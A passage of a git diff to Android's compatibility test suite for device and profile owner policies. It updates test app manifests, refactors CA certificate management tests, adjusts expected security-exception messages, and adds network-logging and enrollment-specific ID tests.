+        <meta-data android:name="listener"
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
+    </instrumentation>
+</manifest>
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml
index cb0bc92..1221dd2 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml
@@ -15,63 +15,63 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.deviceandprofileowner">
+     package="com.android.cts.deviceandprofileowner">
 
     <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION"/>
     <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
     <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
     <uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
-    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
-    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
-    <uses-permission android:name="android.permission.AUTHENTICATE_ACCOUNTS" />
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-    <uses-permission android:name="android.permission.INTERNET" />
-    <uses-permission android:name="android.permission.MANAGE_ACCOUNTS" />
-    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
-    <uses-permission android:name="android.permission.SET_WALLPAPER" />
-    <uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS" />
-    <uses-permission android:name="android.permission.CAMERA" />
+    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
+    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
+    <uses-permission android:name="android.permission.AUTHENTICATE_ACCOUNTS"/>
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
+    <uses-permission android:name="android.permission.INTERNET"/>
+    <uses-permission android:name="android.permission.MANAGE_ACCOUNTS"/>
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
+    <uses-permission android:name="android.permission.SET_WALLPAPER"/>
+    <uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS"/>
+    <uses-permission android:name="android.permission.CAMERA"/>
     <!-- Needed to read the serial number during Device ID attestation tests -->
-    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
-    <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />
-    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
+    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
+    <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS"/>
+    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
 
     <!-- Add a network security config that trusts user added CAs for tests -->
     <application android:networkSecurityConfig="@xml/network_security_config"
-        android:testOnly="true">
+         android:testOnly="true">
 
-        <uses-library android:name="android.test.runner" />
-        <receiver
-            android:name="com.android.cts.deviceandprofileowner.BaseDeviceAdminTest$BasicAdminReceiver"
-            android:permission="android.permission.BIND_DEVICE_ADMIN"
-            android:directBootAware="true">
+        <uses-library android:name="android.test.runner"/>
+        <receiver android:name="com.android.cts.deviceandprofileowner.BaseDeviceAdminTest$BasicAdminReceiver"
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:directBootAware="true"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                       android:resource="@xml/device_admin" />
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
-        <activity
-            android:name="com.android.cts.deviceandprofileowner.ExampleIntentReceivingActivity1">
+        <activity android:name="com.android.cts.deviceandprofileowner.ExampleIntentReceivingActivity1"
+             android:exported="true">
             <intent-filter>
-                <action android:name="com.android.cts.deviceandprofileowner.EXAMPLE_ACTION" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="com.android.cts.deviceandprofileowner.EXAMPLE_ACTION"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </activity>
 
-        <activity
-            android:name="com.android.cts.deviceandprofileowner.ExampleIntentReceivingActivity2">
+        <activity android:name="com.android.cts.deviceandprofileowner.ExampleIntentReceivingActivity2"
+             android:exported="true">
             <intent-filter>
-                <action android:name="com.android.cts.deviceandprofileowner.EXAMPLE_ACTION" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="com.android.cts.deviceandprofileowner.EXAMPLE_ACTION"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </activity>
 
-        <activity
-            android:name=".SetPolicyActivity"
-            android:launchMode="singleTop">
+        <activity android:name=".SetPolicyActivity"
+             android:launchMode="singleTop"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
+                <action android:name="android.intent.action.MAIN"/>
                 <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </activity>
@@ -84,52 +84,57 @@
 
         <activity android:name=".PrintActivity"/>
 
-        <activity
-            android:name="com.android.cts.deviceandprofileowner.KeyManagementActivity"
-            android:theme="@android:style/Theme.Translucent.NoTitleBar" />
+        <activity android:name="com.android.cts.deviceandprofileowner.KeyManagementActivity"
+             android:theme="@android:style/Theme.Translucent.NoTitleBar"/>
 
-        <activity
-            android:name="com.android.cts.deviceandprofileowner.LockTaskUtilityActivity"/>
-        <activity
-            android:name="com.android.cts.deviceandprofileowner.LockTaskUtilityActivityIfAllowed"
-            android:launchMode="singleInstance"
-            android:lockTaskMode="if_whitelisted">
+        <activity android:name="com.android.cts.deviceandprofileowner.LockTaskUtilityActivity"/>
+        <activity android:name="com.android.cts.deviceandprofileowner.LockTaskUtilityActivityIfAllowed"
+             android:launchMode="singleInstance"
+             android:lockTaskMode="if_whitelisted"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
                 <category android:name="android.intent.category.HOME"/>
                 <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </activity>
-        <activity
-            android:name="android.app.Activity">
+        <activity android:name="android.app.Activity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.app.action.CHECK_POLICY_COMPLIANCE" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="android.app.action.CHECK_POLICY_COMPLIANCE"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </activity>
 
-        <receiver android:name=".WipeDataReceiver">
+        <receiver android:name=".WipeDataReceiver"
+             android:exported="true">
             <intent-filter>
-                <action android:name="com.android.cts.deviceandprofileowner.WIPE_DATA" />
+                <action android:name="com.android.cts.deviceandprofileowner.WIPE_DATA"/>
             </intent-filter>
         </receiver>
 
         <service android:name=".NotificationListener"
-            android:exported="true"
-            android:label="Notification Listener"
-            android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE">
+             android:exported="true"
+             android:label="Notification Listener"
+             android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE">
             <intent-filter>
-                <action android:name="android.service.notification.NotificationListenerService" />
+                <action android:name="android.service.notification.NotificationListenerService"/>
+            </intent-filter>
+        </service>
+
+        <service
+            android:name=".SimpleKeyguardService"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.app.action.BIND_SECONDARY_LOCKSCREEN_SERVICE" />
             </intent-filter>
         </service>
     </application>
 
-    <instrumentation
-            android:name="androidx.test.runner.AndroidJUnitRunner"
-            android:label="Profile and Device Owner CTS Tests"
-            android:targetPackage="com.android.cts.deviceandprofileowner">
-        <meta-data
-                android:name="listener"
-                android:value="com.android.cts.runner.CtsTestRunListener"/>
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:label="Profile and Device Owner CTS Tests"
+         android:targetPackage="com.android.cts.deviceandprofileowner">
+        <meta-data android:name="listener"
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/res/xml/network_security_config.xml b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/res/xml/network_security_config.xml
index 1bb298a..6b0779f 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/res/xml/network_security_config.xml
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/res/xml/network_security_config.xml
@@ -1,6 +1,6 @@
 <?xml version="1.0" encoding="utf-8"?>
 <network-security-config>
-  <base-config>
+  <base-config cleartextTrafficPermitted="true">
     <trust-anchors>
       <certificates src="user" />
     </trust-anchors>
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ApplicationRestrictionsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ApplicationRestrictionsTest.java
index 66cf8e8..7d84ac2 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ApplicationRestrictionsTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ApplicationRestrictionsTest.java
@@ -112,7 +112,7 @@
             fail("Expected SecurityException not thrown");
         } catch (SecurityException expected) {
             MoreAsserts.assertContainsRegex(
-                    "Caller with uid \\d+ is not a delegate of scope delegation-app-restrictions.",
+                    "Calling identity is not authorized",
                     expected.getMessage());
         }
         try {
@@ -120,7 +120,7 @@
             fail("Expected SecurityException not thrown");
         } catch (SecurityException expected) {
             MoreAsserts.assertContainsRegex(
-                    "Caller with uid \\d+ is not a delegate of scope delegation-app-restrictions.",
+                    "Calling identity is not authorized",
                     expected.getMessage());
         }
     }
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java
index 889e91a..e239153 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java
@@ -31,6 +31,7 @@
 import android.util.Log;
 
 import com.android.compatibility.common.util.SystemUtil;
+
 import java.util.concurrent.CountDownLatch;
 
 /**
@@ -43,6 +44,12 @@
 
     public static class BasicAdminReceiver extends DeviceAdminReceiver {
 
+        static final String ACTION_NETWORK_LOGS_AVAILABLE =
+                "com.android.cts.deviceandprofileowner.action.ACTION_NETWORK_LOGS_AVAILABLE";
+
+        static final String EXTRA_NETWORK_LOGS_BATCH_TOKEN =
+                "com.android.cts.deviceandprofileowner.extra.NETWORK_LOGS_BATCH_TOKEN";
+
         @Override
         public String onChoosePrivateKeyAlias(Context context, Intent intent, int uid, Uri uri,
                 String suggestedAlias) {
@@ -60,6 +67,16 @@
                 mOnPasswordExpiryTimeoutCalled.countDown();
             }
         }
+
+        @Override
+        public void onNetworkLogsAvailable(Context context, Intent intent, long batchToken,
+                int networkLogsCount) {
+            super.onNetworkLogsAvailable(context, intent, batchToken, networkLogsCount);
+            // send the broadcast, the rest of the test happens in NetworkLoggingTest
+            Intent batchIntent = new Intent(ACTION_NETWORK_LOGS_AVAILABLE);
+            batchIntent.putExtra(EXTRA_NETWORK_LOGS_BATCH_TOKEN, batchToken);
+            context.sendBroadcast(batchIntent);
+        }
     }
 
     public static final String PACKAGE_NAME = BasicAdminReceiver.class.getPackage().getName();
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/CaCertManagementTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/CaCertManagementTest.java
index 791f207..7097050 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/CaCertManagementTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/CaCertManagementTest.java
@@ -15,6 +15,10 @@
  */
 package com.android.cts.deviceandprofileowner;
 
+import static com.android.compatibility.common.util.FakeKeys.FAKE_DSA_1;
+import static com.android.compatibility.common.util.FakeKeys.FAKE_RSA_1;
+
+import android.app.admin.DevicePolicyManager;
 import android.content.ComponentName;
 import android.net.http.X509TrustManagerExtensions;
 
@@ -32,9 +36,6 @@
 import javax.net.ssl.TrustManagerFactory;
 import javax.net.ssl.X509TrustManager;
 
-import static com.android.compatibility.common.util.FakeKeys.FAKE_DSA_1;
-import static com.android.compatibility.common.util.FakeKeys.FAKE_RSA_1;
-
 public class CaCertManagementTest extends BaseDeviceAdminTest {
     private final ComponentName mAdmin = ADMIN_RECEIVER_COMPONENT;
 
@@ -48,19 +49,30 @@
         assertNotNull(caCerts);
     }
 
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        uninstallAllUserCaCerts();
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        uninstallAllUserCaCerts();
+        super.tearDown();
+    }
+
     /**
      * Test: a valid cert should be installable and also removable.
      */
-    public void testCanInstallAndUninstallACaCert()
-            throws CertificateException, GeneralSecurityException {
+    public void testCanInstallAndUninstallACaCert() throws GeneralSecurityException {
         assertUninstalled(FAKE_RSA_1.caCertificate);
         assertUninstalled(FAKE_DSA_1.caCertificate);
 
-        assertTrue(mDevicePolicyManager.installCaCert(mAdmin, FAKE_RSA_1.caCertificate));
+        assertTrue(installCaCert(FAKE_RSA_1.caCertificate));
         assertInstalled(FAKE_RSA_1.caCertificate);
         assertUninstalled(FAKE_DSA_1.caCertificate);
 
-        mDevicePolicyManager.uninstallCaCert(mAdmin, FAKE_RSA_1.caCertificate);
+        uninstallCaCert(FAKE_RSA_1.caCertificate);
         assertUninstalled(FAKE_RSA_1.caCertificate);
         assertUninstalled(FAKE_DSA_1.caCertificate);
     }
@@ -68,42 +80,36 @@
     /**
      * Test: removing one certificate must not remove any others.
      */
-    public void testUninstallationIsSelective()
-            throws CertificateException, GeneralSecurityException {
-        assertTrue(mDevicePolicyManager.installCaCert(mAdmin, FAKE_RSA_1.caCertificate));
-        assertTrue(mDevicePolicyManager.installCaCert(mAdmin, FAKE_DSA_1.caCertificate));
+    public void testUninstallationIsSelective() throws GeneralSecurityException {
+        assertTrue(installCaCert(FAKE_RSA_1.caCertificate));
+        assertTrue(installCaCert(FAKE_DSA_1.caCertificate));
 
-        mDevicePolicyManager.uninstallCaCert(mAdmin, FAKE_DSA_1.caCertificate);
+        uninstallCaCert(FAKE_DSA_1.caCertificate);
         assertInstalled(FAKE_RSA_1.caCertificate);
         assertUninstalled(FAKE_DSA_1.caCertificate);
 
-        mDevicePolicyManager.uninstallCaCert(mAdmin, FAKE_RSA_1.caCertificate);
+        uninstallCaCert(FAKE_RSA_1.caCertificate);
     }
 
     /**
      * Test: uninstallAllUserCaCerts should be equivalent to calling uninstallCaCert on every
      * supplementary installed certificate.
      */
-    public void testCanUninstallAllUserCaCerts()
-            throws CertificateException, GeneralSecurityException {
-        assertTrue(mDevicePolicyManager.installCaCert(mAdmin, FAKE_RSA_1.caCertificate));
-        assertTrue(mDevicePolicyManager.installCaCert(mAdmin, FAKE_DSA_1.caCertificate));
+    public void testCanUninstallAllUserCaCerts() throws GeneralSecurityException {
+        assertTrue(installCaCert(FAKE_RSA_1.caCertificate));
+        assertTrue(installCaCert(FAKE_DSA_1.caCertificate));
 
-        mDevicePolicyManager.uninstallAllUserCaCerts(mAdmin);
+        uninstallAllUserCaCerts();
         assertUninstalled(FAKE_RSA_1.caCertificate);
         assertUninstalled(FAKE_DSA_1.caCertificate);
     }
 
-    private void assertInstalled(byte[] caBytes)
-            throws CertificateException, GeneralSecurityException {
-        Certificate caCert = readCertificate(caBytes);
-        assertTrue(isCaCertInstalledAndTrusted(caCert));
+    private void assertInstalled(byte[] caBytes) throws GeneralSecurityException {
+        assertTrue(isCaCertInstalledAndTrusted(caBytes));
     }
 
-    private void assertUninstalled(byte[] caBytes)
-            throws CertificateException, GeneralSecurityException {
-        Certificate caCert = readCertificate(caBytes);
-        assertFalse(isCaCertInstalledAndTrusted(caCert));
+    private void assertUninstalled(byte[] caBytes) throws GeneralSecurityException {
+        assertFalse(isCaCertInstalledAndTrusted(caBytes));
     }
 
     private static X509TrustManager getFirstX509TrustManager(TrustManagerFactory tmf) {
@@ -131,8 +137,8 @@
      * @return {@code true} if installed by all metrics, {@code false} if not installed by any
      *         metric. In any other case an {@link AssertionError} will be thrown.
      */
-    private boolean isCaCertInstalledAndTrusted(Certificate caCert)
-            throws GeneralSecurityException, CertificateException {
+    private boolean isCaCertInstalledAndTrusted(byte[] caBytes) throws GeneralSecurityException {
+        Certificate caCert = readCertificate(caBytes);
         boolean installed = mDevicePolicyManager.hasCaCertInstalled(mAdmin, caCert.getEncoded());
 
         boolean listed = false;
@@ -184,4 +190,16 @@
         final CertificateFactory certFactory = CertificateFactory.getInstance("X.509");
         return certFactory.generateCertificate(new ByteArrayInputStream(certBuffer));
     }
+
+    private boolean installCaCert(byte[] caCertificate) {
+        return mDevicePolicyManager.installCaCert(mAdmin, caCertificate);
+    }
+
+    private void uninstallCaCert(byte[] caCertificate) {
+        mDevicePolicyManager.uninstallCaCert(mAdmin, caCertificate);
+    }
+
+    private void uninstallAllUserCaCerts() {
+        mDevicePolicyManager.uninstallAllUserCaCerts(mAdmin);
+    }
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/CameraUtils.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/CameraUtils.java
deleted file mode 100644
index d23d4b3..0000000
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/CameraUtils.java
+++ /dev/null
@@ -1,93 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.deviceandprofileowner;
-
-import android.hardware.camera2.CameraDevice;
-import android.hardware.camera2.CameraManager;
-import android.os.Handler;
-import android.util.Log;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-import java.util.concurrent.atomic.AtomicBoolean;
-
-/**
- * A util class to help open camera in a blocking way.
- */
-class CameraUtils {
-
-    private static final String TAG = "CameraUtils";
-
-    /**
-     * @return true if success to open camera, false otherwise.
-     */
-    public static boolean blockUntilOpenCamera(CameraManager cameraManager, Handler handler) {
-        try {
-            String[] cameraIdList = cameraManager.getCameraIdList();
-            if (cameraIdList == null || cameraIdList.length == 0) {
-                return false;
-            }
-            String cameraId = cameraIdList[0];
-            CameraCallback callback = new CameraCallback();
-            cameraManager.openCamera(cameraId, callback, handler);
-            return callback.waitForResult();
-        } catch (Exception ex) {
-            // No matter what is going wrong, it means fail to open camera.
-            ex.printStackTrace();
-            return false;
-        }
-    }
-
-    /**
-     * {@link CameraDevice.StateCallback} is called when {@link CameraDevice} changes its state.
-     */
-    private static class CameraCallback extends CameraDevice.StateCallback {
-
-        private static final int OPEN_TIMEOUT_SECONDS = 5;
-
-        private final CountDownLatch mLatch = new CountDownLatch(1);
-
-        private AtomicBoolean mResult = new AtomicBoolean(false);
-
-        @Override
-        public void onOpened(CameraDevice cameraDevice) {
-            Log.d(TAG, "open camera successfully");
-            mResult.set(true);
-            if (cameraDevice != null) {
-                cameraDevice.close();
-            }
-            mLatch.countDown();
-        }
-
-        @Override
-        public void onDisconnected(CameraDevice cameraDevice) {
-            Log.d(TAG, "disconnect camera");
-            mLatch.countDown();
-        }
-
-        @Override
-        public void onError(CameraDevice cameraDevice, int error) {
-            Log.e(TAG, "Fail to open camera, error code = " + error);
-            mLatch.countDown();
-        }
-
-        public boolean waitForResult() throws InterruptedException {
-            mLatch.await(OPEN_TIMEOUT_SECONDS, TimeUnit.SECONDS);
-            return mResult.get();
-        }
-    }
-}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ClearProfileOwnerNegativeTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ClearProfileOwnerNegativeTest.java
index 30ae0cd..b61b546 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ClearProfileOwnerNegativeTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ClearProfileOwnerNegativeTest.java
@@ -33,7 +33,7 @@
             try {
                 mDevicePolicyManager.clearProfileOwner(BaseDeviceAdminTest.ADMIN_RECEIVER_COMPONENT);
             } catch (SecurityException e) {
-                MoreAsserts.assertContainsRegex("clear profile owner", e.getMessage());
+                MoreAsserts.assertContainsRegex("Calling user is not authorized", e.getMessage());
             }
         }
 
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DelegatedCertInstallerTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DelegatedCertInstallerTest.java
index 45bfe40..f700c69 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DelegatedCertInstallerTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DelegatedCertInstallerTest.java
@@ -60,6 +60,8 @@
     private static final String ACTION_INSTALL_KEYPAIR =
             "com.android.cts.certinstaller.install_keypair";
     private static final String ACTION_CERT_OPERATION_DONE = "com.android.cts.certinstaller.done";
+    private static final String ACTION_READ_ENROLLMENT_SPECIFIC_ID =
+            "com.android.cts.certinstaller.read_esid";
 
     private static final String EXTRA_CERT_DATA = "extra_cert_data";
     private static final String EXTRA_KEY_DATA = "extra_key_data";
@@ -313,6 +315,19 @@
         assertThat(mDpm.getCertInstallerPackage(ADMIN_RECEIVER_COMPONENT)).isNull();
     }
 
+    public void testCanReadEnrollmentSpecificId() throws InterruptedException {
+        // Set the organization ID only if not already set, to avoid potential conflict
+        // with other tests.
+        if (mDpm.getEnrollmentSpecificId().isEmpty()) {
+            mDpm.setOrganizationId("SOME_ID");
+        }
+        mDpm.setDelegatedScopes(ADMIN_RECEIVER_COMPONENT, CERT_INSTALLER_PACKAGE,
+                CERT_INSTALL_SCOPES);
+
+        readEnrollmentId();
+        assertResult("testCanReadEnrollmentSpecificId", true);
+    }
+
     private void installCaCert(byte[] cert) {
         Intent intent = new Intent();
         intent.setAction(ACTION_INSTALL_CERT);
@@ -373,4 +388,12 @@
         intent.addFlags(Intent.FLAG_RECEIVER_FOREGROUND);
         mContext.sendBroadcast(intent);
     }
+
+    private void readEnrollmentId() {
+        Intent intent = new Intent();
+        intent.setAction(ACTION_READ_ENROLLMENT_SPECIFIC_ID);
+        intent.setComponent(CERT_INSTALLER_COMPONENT);
+        intent.addFlags(Intent.FLAG_RECEIVER_FOREGROUND);
+        mContext.sendBroadcast(intent);
+    }
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DelegationTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DelegationTest.java
index 795b3e8..27b29f0 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DelegationTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DelegationTest.java
@@ -23,6 +23,7 @@
 import static android.app.admin.DevicePolicyManager.DELEGATION_ENABLE_SYSTEM_APP;
 import static android.app.admin.DevicePolicyManager.DELEGATION_NETWORK_LOGGING;
 import static android.app.admin.DevicePolicyManager.EXTRA_DELEGATION_SCOPES;
+
 import static com.google.common.truth.Truth.assertThat;
 
 import android.app.admin.DevicePolicyManager;
@@ -186,22 +187,23 @@
                 .contains(TEST_PKG));
     }
 
-    public void testDeviceOwnerOnlyDelegationsOnlyPossibleToBeSetByDeviceOwner() throws Exception {
-        final String doDelegations[] = {
-                DELEGATION_NETWORK_LOGGING};
+    public void testDeviceOwnerOrManagedPoOnlyDelegations() throws Exception {
+        final String doOrManagedPoDelegations[] = {DELEGATION_NETWORK_LOGGING};
         final boolean isDeviceOwner = mDevicePolicyManager.isDeviceOwnerApp(
                 mContext.getPackageName());
-        for (String scope : doDelegations) {
+        final boolean isManagedProfileOwner = mDevicePolicyManager.getProfileOwner() != null
+                && mDevicePolicyManager.isManagedProfile(ADMIN_RECEIVER_COMPONENT);
+        for (String scope : doOrManagedPoDelegations) {
             try {
                 mDevicePolicyManager.setDelegatedScopes(ADMIN_RECEIVER_COMPONENT, DELEGATE_PKG,
                         Collections.singletonList(scope));
-                if (!isDeviceOwner()) {
-                    fail("PO shouldn't be able to delegate "+ scope);
+                if (!isDeviceOwner() && !isManagedProfileOwner) {
+                    fail("PO not in a managed profile shouldn't be able to delegate " + scope);
                 }
             } catch (SecurityException e) {
-                if (isDeviceOwner) {
-                    fail("DO fails to delegate " + scope + " exception: " + e);
-                    Log.e(TAG, "DO fails to delegate " + scope, e);
+                if (isDeviceOwner || isManagedProfileOwner) {
+                    fail("DO or managed PO fails to delegate " + scope + " exception: " + e);
+                    Log.e(TAG, "DO or managed PO fails to delegate " + scope, e);
                 }
             }
         }
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DevicePolicyLoggingTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DevicePolicyLoggingTest.java
index c9576f7..50cf4ba 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DevicePolicyLoggingTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DevicePolicyLoggingTest.java
@@ -21,6 +21,7 @@
 import static android.app.admin.DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT;
 import static android.app.admin.DevicePolicyManager.KEYGUARD_DISABLE_SECURE_CAMERA;
 import static android.app.admin.DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS;
+import static android.app.admin.DevicePolicyManager.PASSWORD_COMPLEXITY_HIGH;
 import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_UNSPECIFIED;
 import static android.app.admin.DevicePolicyManager.PERMISSION_GRANT_STATE_DEFAULT;
 import static android.app.admin.DevicePolicyManager.PERMISSION_GRANT_STATE_DENIED;
@@ -61,6 +62,7 @@
         mDevicePolicyManager.setPasswordMinimumSymbols(ADMIN_RECEIVER_COMPONENT, 19);
         mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT,
                 PASSWORD_QUALITY_UNSPECIFIED);
+        mDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_HIGH);
     }
 
     public void testLockNowLogged() {
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/EnrollmentSpecificIdTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/EnrollmentSpecificIdTest.java
new file mode 100644
index 0000000..2ed2c1a
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/EnrollmentSpecificIdTest.java
@@ -0,0 +1,233 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.deviceandprofileowner;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertThrows;
+
+import android.annotation.NonNull;
+import android.app.UiAutomation;
+import android.net.wifi.WifiManager;
+import android.os.Build;
+import android.telephony.TelephonyManager;
+
+import java.nio.ByteBuffer;
+import java.security.InvalidKeyException;
+import java.security.NoSuchAlgorithmException;
+
+import javax.crypto.Mac;
+import javax.crypto.spec.SecretKeySpec;
+
+/**
+ * Tests for the Enrollment-Specific ID functionality.
+ *
+ * NOTE: Tests in this class need to be run separately from the host-side since each
+ * sets a non-resettable Organization ID, so the DPC needs to be completely removed
+ * before each test.
+ */
+public class EnrollmentSpecificIdTest extends BaseDeviceAdminTest {
+    private static final String[] PERMISSIONS_TO_ADOPT = {
+            "android.permission.READ_PRIVILEGED_PHONE_STATE",
+            "android.permission.NETWORK_SETTINGS",
+            "android.permission.LOCAL_MAC_ADDRESS"};
+    private static final String ORGANIZATION_ID = "abcxyz123";
+    private UiAutomation mUiAutomation;
+
+    @Override
+    protected void setUp() throws Exception {
